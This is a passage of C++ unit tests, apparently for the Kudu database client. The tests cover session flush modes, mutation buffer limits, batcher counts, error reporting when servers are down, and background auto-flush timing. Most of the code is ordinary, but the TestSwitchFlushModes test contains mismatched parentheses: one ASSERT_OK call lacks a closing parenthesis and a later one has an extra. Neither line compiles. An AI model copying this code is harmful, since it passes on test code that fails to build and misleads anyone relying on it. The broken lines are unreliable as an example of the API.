ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "One")); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 2, 2, "Two")); ASSERT_OK(session->Flush()); // Delete rows with some non-key fields, which will fail. ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1, 1)); ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 2, 2)); Status s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Fetch and verify the reported error. vector<KuduError*> errors; ElementDeleter d(&errors); bool overflow; session->GetPendingErrors(&errors, &overflow); ASSERT_TRUE(!overflow); ASSERT_EQ(2, errors.size()); ASSERT_TRUE(errors[0]->status().IsInvalidArgument()); ASSERT_EQ(errors[0]->status().ToString(), "Invalid argument: DELETE should not have a value for column: " "int_val INT32 NOT NULL"); ASSERT_EQ(errors[0]->failed_op().ToString(), R"(DELETE int32 key=1, int32 int_val=1)"); ASSERT_TRUE(errors[1]->status().IsInvalidArgument()); ASSERT_EQ(errors[1]->status().ToString(), "Invalid argument: DELETE should not have a value for column: " "int_val INT32 NOT NULL"); ASSERT_EQ(errors[1]->failed_op().ToString(), R"(DELETE int32 key=2, int32 int_val=2)"); // Verify that no row was deleted. vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows, ScannedRowsOrder::kSorted)); ASSERT_EQ(2, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=1, string string_val="One", )" "int32 non_null_with_default=12345)", rows[0]); ASSERT_EQ(R"((int32 key=2, int32 int_val=2, string string_val="Two", )" "int32 non_null_with_default=12345)", rows[1]); } void ClientTest::DoTestWriteWithDeadServer(WhichServerToKill which) { shared_ptr<KuduSession> session = client_->NewSession(); session->SetTimeoutMillis(1000); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Shut down the server. switch (which) { case DEAD_MASTER: cluster_->ShutdownNodes(cluster::ClusterNodes::MASTERS_ONLY); break; case DEAD_TSERVER: cluster_->mini_tablet_server(0)->Shutdown(); break; } // Try a write. ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "x")); Status s = session->Flush(); ASSERT_TRUE(s.IsIOError()) << s.ToString(); unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); switch (which) { case DEAD_MASTER: // Only one master, so no retry for finding the new leader master. ASSERT_TRUE(error->status().IsNetworkError()); break; case DEAD_TSERVER: ASSERT_TRUE(error->status().IsTimedOut()); // TODO(KUDU-1466) Re-enable this assertion once the jira gets solved. We can't actually // make an assertion on the reason for the timeout since sometimes tablet server connection // errors get reported as GetTabletLocations timeouts. // ASSERT_STR_CONTAINS(error->status().ToString(), "Connection refused"); break; } ASSERT_EQ(error->failed_op().ToString(), R"(INSERT int32 key=1, int32 int_val=1, string string_val="x")"); } // Test error handling cases where the master is down (tablet resolution fails) TEST_F(ClientTest, TestWriteWithDeadMaster) { client_->data_->default_admin_operation_timeout_ = MonoDelta::FromSeconds(1); DoTestWriteWithDeadServer(DEAD_MASTER); } // Test error handling when the TS is down (actual write fails its RPC) TEST_F(ClientTest, TestWriteWithDeadTabletServer) { DoTestWriteWithDeadServer(DEAD_TSERVER); } void ClientTest::DoApplyWithoutFlushTest(int sleep_micros) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "x")); SleepFor(MonoDelta::FromMicroseconds(sleep_micros)); session.reset(); // should not crash! // Should have no rows. vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); } // Applies some updates to the session, and then drops the reference to the // Session before flushing. Makes sure that the tablet resolution callbacks // properly deal with the session disappearing underneath. // // This test doesn't sleep between applying the operations and dropping the // reference, in hopes that the reference will be dropped while DNS is still // in-flight, etc. TEST_F(ClientTest, TestApplyToSessionWithoutFlushing_OpsInFlight) { DoApplyWithoutFlushTest(0); } // Same as the above, but sleeps a little bit after applying the operations, // so that the operations are already in the per-TS-buffer. TEST_F(ClientTest, TestApplyToSessionWithoutFlushing_OpsBuffered) { DoApplyWithoutFlushTest(10000); } // Apply a large amount of data (relative to size of the mutation buffer) // without calling Flush() in MANUAL_FLUSH mode, // and ensure that we get an error on Apply() rather than sending a too-large // RPC to the server. TEST_F(ClientTest, TestApplyTooMuchWithoutFlushing) { // Applying a bunch of small rows without a flush should result // in an error. const size_t kBufferSizeBytes = 1024; bool got_expected_error = false; shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); for (int i = 0; i < kBufferSizeBytes; i++) { Status s = ApplyInsertToSession(session.get(), client_table_, 1, 1, "x"); if (s.IsIncomplete()) { ASSERT_STR_CONTAINS(s.ToString(), "not enough mutation buffer space"); got_expected_error = true; break; } else { ASSERT_OK(s); } } ASSERT_TRUE(got_expected_error); EXPECT_TRUE(session->HasPendingOperations()); } // Applying a big operation which does not fit into the buffer should // return an error with session running in any supported flush mode. TEST_F(ClientTest, TestCheckMutationBufferSpaceLimitInEffect) { const size_t kBufferSizeBytes = 256; const string kLongString(kBufferSizeBytes + 1, 'x'); const KuduSession::FlushMode kFlushModes[] = { KuduSession::AUTO_FLUSH_BACKGROUND, KuduSession::AUTO_FLUSH_SYNC, KuduSession::MANUAL_FLUSH, }; for (auto mode : kFlushModes) { Status s; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetFlushMode(mode)); ASSERT_FALSE(session->HasPendingOperations()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); s = ApplyInsertToSession( session.get(), client_table_, 0, 1, kLongString.c_str()); ASSERT_TRUE(s.IsIncomplete()) << "Got unexpected status: " << s.ToString(); EXPECT_FALSE(session->HasPendingOperations()); vector<KuduError*> errors; ElementDeleter deleter(&errors); bool overflowed; session->GetPendingErrors(&errors, &overflowed); EXPECT_FALSE(overflowed); ASSERT_EQ(1, errors.size()); EXPECT_TRUE(errors[0]->status().IsIncomplete()); EXPECT_EQ(s.ToString(), errors[0]->status().ToString()); } } // For a KuduSession object, it should be OK to switch between flush modes // in the middle if there is no pending operations in the buffer. TEST_F(ClientTest, TestSwitchFlushModes) { const size_t kBufferSizeBytes = 256; const string kLongString(kBufferSizeBytes / 2, 'x'); const int32_t kFlushIntervalMs = 100; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); // Start with the AUTO_FLUSH_SYNC mode. ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_FALSE(session->HasPendingOperations()); ASSERT_OK(ApplyInsertToSession( session.get(), client_table_, 0, 1, kLongString.c_str())); // No pending ops: flush should happen synchronously during the Apply() call. ASSERT_FALSE(session->HasPendingOperations()); // Switch to the MANUAL_FLUSH mode. ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession( session.get(), client_table_, 1, 2, kLongString.c_str())); ASSERT_TRUE(session->HasPendingOperations()); ASSERT_OK(session->Flush()); ASSERT_FALSE(session->HasPendingOperations()); // Switch to the AUTO_FLUSH_BACKGROUND mode. ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); ASSERT_OK(ApplyInsertToSession( session.get(), client_table_, 2, 3, kLongString.c_str())); ASSERT_OK(session->Flush()); // There should be no pending ops: the background flusher should do its job. ASSERT_FALSE(session->HasPendingOperations()); // Switch back to the MANUAL_FLUSH mode. ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH); ASSERT_OK(ApplyInsertToSession( session.get(), client_table_, 4, 5, kLongString.c_str())); WaitForAutoFlushBackground(session, kFlushIntervalMs); // There should be some pending ops: the automatic background flush // should not be active after switch to the MANUAL_FLUSH mode. ASSERT_TRUE(session->HasPendingOperations()); ASSERT_OK(session->Flush())); ASSERT_FALSE(session->HasPendingOperations()); } void ClientTest::TimeInsertOpBatch( KuduSession::FlushMode mode, size_t buffer_size, size_t run_idx, size_t run_num, const vector<size_t>& string_sizes, CpuTimes* elapsed) { string mode_str = "unknown"; switch (mode) { case KuduSession::AUTO_FLUSH_BACKGROUND: mode_str = "AUTO_FLUSH_BACKGROND"; break; case KuduSession::AUTO_FLUSH_SYNC: mode_str = "AUTO_FLUSH_SYNC"; break; case KuduSession::MANUAL_FLUSH: mode_str = "MANUAL_FLUSH"; break; } const size_t row_num = string_sizes.size(); shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(buffer_size)); ASSERT_OK(session->SetMutationBufferFlushWatermark(0.5)); ASSERT_OK(session->SetMutationBufferMaxNum(2)); ASSERT_OK(session->SetFlushMode(mode)); Stopwatch sw(Stopwatch::ALL_THREADS); LOG_TIMING(INFO, "Running in " + mode_str + " mode") { sw.start(); for (size_t i = 0; i < row_num; ++i) { const string long_string(string_sizes[i], '0'); const size_t idx = run_num * i + run_idx; ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, idx, idx, long_string.c_str())); } EXPECT_OK(session->Flush()); sw.stop(); } ASSERT_EQ(0, session->CountPendingErrors()); if (elapsed != nullptr) { *elapsed = sw.elapsed(); } } // Test for acceptable values of the maximum number of batchers for KuduSession. TEST_F(ClientTest, TestSetSessionMutationBufferMaxNum) { shared_ptr<KuduSession> session(client_->NewSession()); // The default for the maximum number of batchers. EXPECT_OK(session->SetMutationBufferMaxNum(2)); // Check for minimum acceptable limit for number of batchers. EXPECT_OK(session->SetMutationBufferMaxNum(1)); // Unlimited number of batchers. EXPECT_OK(session->SetMutationBufferMaxNum(0)); // Non-default acceptable number of batchers. EXPECT_OK(session->SetMutationBufferMaxNum(8)); // Check it's impossible to update maximum number of batchers if there are // pending operations. ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 0, 0, "x")); #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" ASSERT_EQ(1, session->CountBufferedOperations()); #pragma GCC diagnostic pop ASSERT_EQ(0, session->CountPendingErrors()); ASSERT_TRUE(session->HasPendingOperations()); Status s = session->SetMutationBufferMaxNum(3); ASSERT_TRUE(s.IsIllegalState()); ASSERT_STR_CONTAINS(s.ToString(), "Cannot change the limit on maximum number of batchers"); ASSERT_OK(session->Flush()); ASSERT_EQ(0, session->CountPendingErrors()); ASSERT_FALSE(session->HasPendingOperations()); } // Check that call to Flush()/FlushAsync() is safe if there isn't current // batcher for the session (i.e., no error is expected on calling those). TEST_F(ClientTest, TestFlushNoCurrentBatcher) { shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferMaxNum(1)); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_FALSE(session->HasPendingOperations()); ASSERT_EQ(0, session->CountPendingErrors()); Synchronizer sync0; KuduStatusMemberCallback<Synchronizer> scbk0(&sync0, &Synchronizer::StatusCB); // No current batcher since nothing has been applied yet. session->FlushAsync(&scbk0); ASSERT_OK(sync0.Wait()); // The same with the synchronous flush. ASSERT_OK(session->Flush()); ASSERT_FALSE(session->HasPendingOperations()); ASSERT_EQ(0, session->CountPendingErrors()); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 0, 0, "0")); ASSERT_TRUE(session->HasPendingOperations()); #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" ASSERT_EQ(1, session->CountBufferedOperations()); #pragma GCC diagnostic pop ASSERT_EQ(0, session->CountPendingErrors()); // OK, now the current batcher should be at place. ASSERT_OK(session->Flush()); ASSERT_FALSE(session->HasPendingOperations()); ASSERT_EQ(0, session->CountPendingErrors()); // Once more: now there isn't current batcher again. ASSERT_FALSE(session->HasPendingOperations()); ASSERT_EQ(0, session->CountPendingErrors()); Synchronizer sync1; KuduStatusMemberCallback<Synchronizer> scbk1(&sync1, &Synchronizer::StatusCB); session->FlushAsync(&scbk1); ASSERT_OK(sync1.Wait()); // The same with the synchronous flush. ASSERT_OK(session->Flush()); ASSERT_FALSE(session->HasPendingOperations()); ASSERT_EQ(0, session->CountPendingErrors()); } // Check that the limit on maximum number of batchers per KuduSession // is enforced. KuduSession::Apply() should block if called when the number // of batchers is at the limit already. TEST_F(ClientTest, TestSessionMutationBufferMaxNum) { const size_t kBufferSizeBytes = 1024; const size_t kBufferMaxLimit = 8; for (size_t limit = 1; limit < kBufferMaxLimit; ++limit) { shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); ASSERT_OK(session->SetMutationBufferMaxNum(limit)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); size_t monitor_max_batchers_count = 0; CountDownLatch monitor_run_ctl(1); thread monitor(bind(&ClientTest::MonitorSessionBatchersCount, session.get(), &monitor_run_ctl, &monitor_max_batchers_count)); // Apply a big number of tiny operations, flushing after each to utilize // maximum possible number of session's batchers. for (size_t i = 0; i < limit * 16; ++i) { ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, kBufferMaxLimit * i + limit, kBufferMaxLimit * i + limit, "x")); session->FlushAsync(nullptr); } EXPECT_OK(session->Flush()); monitor_run_ctl.CountDown(); monitor.join(); EXPECT_GE(limit, monitor_max_batchers_count); } } enum class RowSize { CONSTANT, RANDOM, }; class FlushModeOpRatesTest : public ClientTest, public ::testing::WithParamInterface<RowSize> { }; // A test scenario to compare rate of submission of small write operations // in AUTO_FLUSH and AUTO_FLUSH_BACKGROUND mode; all the operations have // the same pre-defined size. TEST_P(FlushModeOpRatesTest, RunComparison) { if (!AllowSlowTests()) { LOG(WARNING) << "test is skipped; set KUDU_ALLOW_SLOW_TESTS=1 to run"; return; } const size_t kBufferSizeBytes = 1024; const size_t kRowNum = 256; vector<size_t> str_sizes(kRowNum); const RowSize mode = GetParam(); switch (mode) { case RowSize::CONSTANT: std::fill(str_sizes.begin(), str_sizes.end(), kBufferSizeBytes / 128); break; case RowSize::RANDOM: SeedRandom(); std::generate(str_sizes.begin(), str_sizes.end(), [] { return rand() % (kBufferSizeBytes / 128); }); break; } // Run the scenario multiple times to factor out fluctuations of multi-tasking // run-time environment and avoid test flakiness. uint64_t t_afb_wall = 0; uint64_t t_afs_wall = 0; const size_t iter_num = 16; for (size_t i = 0; i < iter_num; ++i) { CpuTimes t_afb; TimeInsertOpBatch(KuduSession::AUTO_FLUSH_BACKGROUND, kBufferSizeBytes, 2 * i, 2 * iter_num, str_sizes, &t_afb); t_afb_wall += t_afb.wall; CpuTimes t_afs; TimeInsertOpBatch(KuduSession::AUTO_FLUSH_SYNC, kBufferSizeBytes, 2 * i + 1, 2 * iter_num, str_sizes, &t_afs); t_afs_wall += t_afs.wall; } // AUTO_FLUSH_BACKGROUND should be faster than AUTO_FLUSH_SYNC. EXPECT_GT(t_afs_wall, t_afb_wall); } INSTANTIATE_TEST_CASE_P(, FlushModeOpRatesTest, ::testing::Values(RowSize::CONSTANT, RowSize::RANDOM)); // A test to verify that it's safe to perform synchronous and/or asynchronous // flush while having the auto-flusher thread running in the background. TEST_F(ClientTest, TestAutoFlushBackgroundAndExplicitFlush) { const size_t kIterNum = AllowSlowTests() ? 8192 : 1024; shared_ptr<KuduSession> session(client_->NewSession()); // The background flush interval is short to have more contention. ASSERT_OK(session->SetMutationBufferFlushInterval(3)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); for (size_t i = 0; i < kIterNum; i += 2) { ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, i, i, "x")); SleepFor(MonoDelta::FromMilliseconds(1)); session->FlushAsync(nullptr); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, i + 1, i + 1, "y")); SleepFor(MonoDelta::FromMilliseconds(1)); ASSERT_OK(session->Flush()); } EXPECT_EQ(0, session->CountPendingErrors()); EXPECT_FALSE(session->HasPendingOperations()); // Check that all rows have reached the table. EXPECT_EQ(kIterNum, CountRowsFromClient(client_table_.get())); } // A test to verify that in case of AUTO_FLUSH_BACKGROUND information on // _all_ the errors is delivered after Flush() finishes. Basically, it's a test // to cover KUDU-1743 -- there was a race where Flush() returned before // the corresponding errors were added to the error collector. TEST_F(ClientTest, TestAutoFlushBackgroundAndErrorCollector) { using kudu::client::internal::ErrorCollector; // The main idea behind this custom error collector is to delay // adding the very first error: this is to expose the race which is // the root cause of the KUDU-1743 issue. class CustomErrorCollector : public ErrorCollector { public: CustomErrorCollector(): ErrorCollector(), error_cnt_(0) { } void AddError(unique_ptr<KuduError> error) override { if (0 == error_cnt_++) { const bool prev_allowed = ThreadRestrictions::SetWaitAllowed(true); SleepFor(MonoDelta::FromSeconds(1)); ThreadRestrictions::SetWaitAllowed(prev_allowed); } ErrorCollector::AddError(std::move(error)); } private: std::atomic<uint64_t> error_cnt_; }; const size_t kIterNum = AllowSlowTests() ? 32 : 2; for (size_t i = 0; i < kIterNum; ++i) { static const size_t kRowNum = 2; vector<unique_ptr<KuduPartialRow>> splits; unique_ptr<KuduPartialRow> split(schema_.NewRow()); ASSERT_OK(split->SetInt32("key", kRowNum / 2)); splits.push_back(std::move(split)); // Create the test table: it's important the table is split into multiple // (at least two) tablets and replicated: that helps to get // RPC completion callbacks from different reactor threads, which is // the crux of the race condition for KUDU-1743. const string table_name = Substitute("table.$0", i); shared_ptr<KuduTable> table; NO_FATALS(CreateTable(table_name, 3, std::move(splits), {}, &table)); shared_ptr<KuduSession> session(client_->NewSession()); scoped_refptr<ErrorCollector> ec(new CustomErrorCollector); ec.swap(session->data_->error_collector_); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); NO_FATALS(InsertTestRows(table.get(), session.get(), kRowNum)); NO_FATALS(InsertTestRows(table.get(), session.get(), kRowNum)); vector<KuduError*> errors; ElementDeleter deleter(&errors); ASSERT_FALSE(session->Flush().ok()); bool overflowed; session->GetPendingErrors(&errors, &overflowed); ASSERT_FALSE(overflowed); // Print out the errors if the expected count differs from the actual one. if (kRowNum != errors.size()) { vector<string> errors_str; for (const auto e : errors) { errors_str.push_back(Substitute("status: $0; operation: $1", e->status().ToString(), e->failed_op().ToString())); } EXPECT_EQ(kRowNum, errors.size()) << errors_str; } } } // A test which verifies that a session in AUTO_FLUSH_BACKGROUND mode can // be safely abandoned: its pending data should not be flushed. // This test also checks that the reference to a session stored by the // background flusher task is not leaked: the leak might appear due to // circular reference between the session and the messenger's reactor // which is used to execute the background flush task. TEST_F(ClientTest, TestAutoFlushBackgroundDropSession) { const int32_t kFlushIntervalMs = 1000; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "x")); session.reset(); // Wait for the background flusher task to awake and try to do its job. // The 3x extra is to deal with occasional delays to avoid flakiness. SleepFor(MonoDelta::FromMilliseconds(3L * kFlushIntervalMs)); // The session should be gone, and the background flusher thread // should notice that and do not perform flush, so no data is supposed // to appear in the table. vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); } // A test scenario for AUTO_FLUSH_BACKGROUND mode: // applying a bunch of small rows without a flush should not result in // an error, even with low limit on the buffer space. This is because // Session::Apply() blocks and waits for buffer space to become available // if it cannot add the operation into the buffer right away. TEST_F(ClientTest, TestAutoFlushBackgroundSmallOps) { const size_t kBufferSizeBytes = 1024; const size_t kRowNum = kBufferSizeBytes * 10; const int32_t kFlushIntervalMs = 100; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); int64_t monitor_max_buffer_size = 0; CountDownLatch monitor_run_ctl(1); thread monitor(bind(&ClientTest::MonitorSessionBufferSize, session.get(), &monitor_run_ctl, &monitor_max_buffer_size)); for (size_t i = 0; i < kRowNum; ++i) { ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, i, i, "x")); } EXPECT_OK(session->Flush()); EXPECT_EQ(0, session->CountPendingErrors()); EXPECT_FALSE(session->HasPendingOperations()); monitor_run_ctl.CountDown(); monitor.join(); // Check that the limit has not been overrun. EXPECT_GE(kBufferSizeBytes, monitor_max_buffer_size); // Check that all rows have reached the table. EXPECT_EQ(kRowNum, CountRowsFromClient(client_table_.get())); } // A test scenario for AUTO_FLUSH_BACKGROUND mode: // applying a bunch of rows every one of which is so big in size that // a couple of those do not fit into the buffer. This should be OK: // Session::Apply() must manage this case as well, blocking on an attempt to add // another operation if buffer is about to overflow (no error, though). // Once last operation is flushed out of the buffer, Session::Apply() should // unblock and work with next operation, and so on. TEST_F(ClientTest, TestAutoFlushBackgroundBigOps) { const size_t kBufferSizeBytes = 32 * 1024; const int32_t kFlushIntervalMs = 100; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); int64_t monitor_max_buffer_size = 0; CountDownLatch monitor_run_ctl(1); thread monitor(bind(&ClientTest::MonitorSessionBufferSize, session.get(), &monitor_run_ctl, &monitor_max_buffer_size)); // Starting from i == 3: this is the lowest i when // ((i - 1) * kBufferSizeBytes / i) has a value greater than // kBufferSizeBytes / 2. We want a pair of operations that both don't fit // into the buffer, but every individual one does. const size_t kRowIdxBeg = 3; const size_t kRowIdxEnd = 256; for (size_t i = kRowIdxBeg; i < kRowIdxEnd; ++i) { const string long_string((i - 1) * kBufferSizeBytes / i, 'x'); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, i, i, long_string.c_str())); } EXPECT_OK(session->Flush()); EXPECT_EQ(0, session->CountPendingErrors()); EXPECT_FALSE(session->HasPendingOperations()); monitor_run_ctl.CountDown(); monitor.join(); EXPECT_GE(kBufferSizeBytes, monitor_max_buffer_size); // Check that all rows have reached the table. EXPECT_EQ(kRowIdxEnd - kRowIdxBeg, CountRowsFromClient(client_table_.get())); } // A test scenario for AUTO_FLUSH_BACKGROUND mode: // interleave write operations of random lenth. // Every single operation fits into the buffer; no error is expected. TEST_F(ClientTest, TestAutoFlushBackgroundRandomOps) { const size_t kBufferSizeBytes = 1024; const size_t kRowNum = 512; const int32_t kFlushIntervalMs = 1000; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); SeedRandom(); int64_t monitor_max_buffer_size = 0; CountDownLatch monitor_run_ctl(1); thread monitor(bind(&ClientTest::MonitorSessionBufferSize, session.get(), &monitor_run_ctl, &monitor_max_buffer_size)); for (size_t i = 0; i < kRowNum; ++i) { // Every operation takes less than 2/3 of the buffer space, so no // error on 'operation size is bigger than the limit' is expected. const string long_string(rand() % (2 * kBufferSizeBytes / 3), 'x'); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, i, i, long_string.c_str())); } EXPECT_OK(session->Flush()); EXPECT_EQ(0, session->CountPendingErrors()); EXPECT_FALSE(session->HasPendingOperations()); monitor_run_ctl.CountDown(); monitor.join(); EXPECT_GE(kBufferSizeBytes, monitor_max_buffer_size); // Check that all rows have reached the table. EXPECT_EQ(kRowNum, CountRowsFromClient(client_table_.get())); } // Test that in AUTO_FLUSH_BACKGROUND mode even a small amount of tiny // operations are put into the queue and flushed after some time. // Since the buffer size limit is relatively huge compared with the total size // of operations getting into the buffer, the high-watermark flush criteria // is not going to be met and the timer expiration criteria starts playing here. TEST_F(ClientTest, TestAutoFlushBackgroundFlushTimeout) { const int32_t kFlushIntervalMs = 200; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(1 * 1024 * 1024)); ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 0, 0, "x")); ASSERT_TRUE(session->HasPendingOperations()); WaitForAutoFlushBackground(session, kFlushIntervalMs); EXPECT_EQ(0, session->CountPendingErrors()); EXPECT_FALSE(session->HasPendingOperations()); // Check that all rows have reached the table. EXPECT_EQ(1, CountRowsFromClient(client_table_.get())); } // Test that in AUTO_FLUSH_BACKGROUND mode applying two big operations in a row // works without unnecessary delay in the case illustrated by the diagram below. // // +-------------------+ // | | // | Data of the next | // +---buffer_limit----+ | operation to add. | // flush watermark ->| | | | // +-------------------+ +---------0---------+ // | | // | Data of the first | // | operation. | // | | // +---------0---------+ TEST_F(ClientTest, TestAutoFlushBackgroundPreFlush) { const size_t kBufferSizeBytes = 1024; const size_t kStringLenBytes = 2 * kBufferSizeBytes / 3; const int32 kFlushIntervalMs = 5000; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); ASSERT_OK(session->SetMutationBufferFlushWatermark(0.99)); // 99% ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); for (size_t i = 0; i < 2; ++i) { unique_ptr<KuduInsert> insert(client_table_->NewInsert()); const string str(kStringLenBytes, '0' + i); ASSERT_OK(insert->mutable_row()->SetInt32("key", i)); ASSERT_OK(insert->mutable_row()->SetInt32("int_val", i)); ASSERT_OK(insert->mutable_row()->SetStringCopy("string_val", str)); Stopwatch sw(Stopwatch::ALL_THREADS); sw.start(); ASSERT_OK(session->Apply(insert.release())); sw.stop(); ASSERT_TRUE(session->HasPendingOperations()); // The first Apply() call must not block because the buffer was empty // prior to adding the first operation's data. // // The second Apply() should go through fast because a pre-flush // should happen before adding the data of the second operation even if // the flush watermark hasn't been reached with the first operation's data. // For details on this behavior please see the diagram in the body of the // KuduSession::Data::ApplyWriteOp() method. EXPECT_GT(kFlushIntervalMs / 10, static_cast<int32_t>(sw.elapsed().wall_millis())); } ASSERT_OK(session->Flush()); // At this point nothing should be in the buffer. ASSERT_EQ(0, session->CountPendingErrors()); ASSERT_FALSE(session->HasPendingOperations()); // Check that all rows have reached the table. EXPECT_EQ(2, CountRowsFromClient(client_table_.get())); } // Test that KuduSession::Apply() call blocks in AUTO_FLUSH_BACKGROUND mode // if the write operation/mutation buffer does not have enough space // to accommodate an incoming write operation. // // The test scenario uses the combination of watermark level // settings and the 'flush by timeout' behavior. The idea is the following: // // a. Set the high-watermark level to 100% of the buffer size limit. // This setting and the fact that Apply() does not allow operations' data // to accumulate over the size of the buffer // guarantees that the high-watermark event will not trigger. // b. Set the timeout for the flush to be high enough to distinguish // between occasional delays due to other OS activity and waiting // on the invocation of the blocking Apply() method. // c. Try to add two write operations each of 2/3 of the buffer space in size. // The first Apply() call should succeed instantly, but the second one // should block. // d. Measure how much time it took to return from the second invocation // of the Apply() call: it should be close to the wait timeout. // TEST_F(ClientTest, TestAutoFlushBackgroundApplyBlocks) { const size_t kBufferSizeBytes = 8 * 1024; const size_t kStringLenBytes = 2 * kBufferSizeBytes / 3; const int32 kFlushIntervalMs = 1000; shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetMutationBufferSpace(kBufferSizeBytes)); ASSERT_OK(session->SetMutationBufferFlushWatermark(1.0)); session->data_->buffer_pre_flush_enabled_ = false; ASSERT_OK(session->SetMutationBufferFlushInterval(kFlushIntervalMs)); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_BACKGROUND)); const int32_t wait_timeout_ms = kFlushIntervalMs; { unique_ptr<KuduInsert> insert(client_table_->NewInsert()); const string str(kStringLenBytes, '0'); ASSERT_OK(insert->mutable_row()->SetInt32("key", 0)); ASSERT_OK(insert->mutable_row()->SetInt32("int_val", 0)); ASSERT_OK(insert->mutable_row()->SetStringCopy("string_val", str)); Stopwatch sw(Stopwatch::ALL_THREADS); sw.start(); ASSERT_OK(session->Apply(insert.release())); sw.stop(); ASSERT_TRUE(session->HasPendingOperations()); // The first Apply() call must not block, so the time spent on calling it // should be at least one order of magnitude less than the periodic flush // interval. EXPECT_GT(wait_timeout_ms / 10, sw.elapsed().wall_millis()); } Stopwatch sw(Stopwatch::ALL_THREADS); { unique_ptr<KuduInsert> insert(client_table_->NewInsert()); const string str(kStringLenBytes, '1'); ASSERT_OK(insert->mutable_row()->SetInt32("key", 1)); ASSERT_OK(insert->mutable_row()->SetInt32("int_val", 1)); ASSERT_OK(insert->mutable_row()->SetStringCopy("string_val", str)); // The second Apply() call must block until the flusher pushes already // scheduled operation out of the buffer. The second Apply() call should // unblock as soon as flusher triggers purging buffered operations // by timeout. sw.start(); ASSERT_OK(session->Apply(insert.release())); sw.stop(); } ASSERT_OK(session->Flush()); // At this point nothing should be in the buffer. ASSERT_EQ(0, session->CountPendingErrors()); ASSERT_FALSE(session->HasPendingOperations()); // Check that all rows have reached the table. 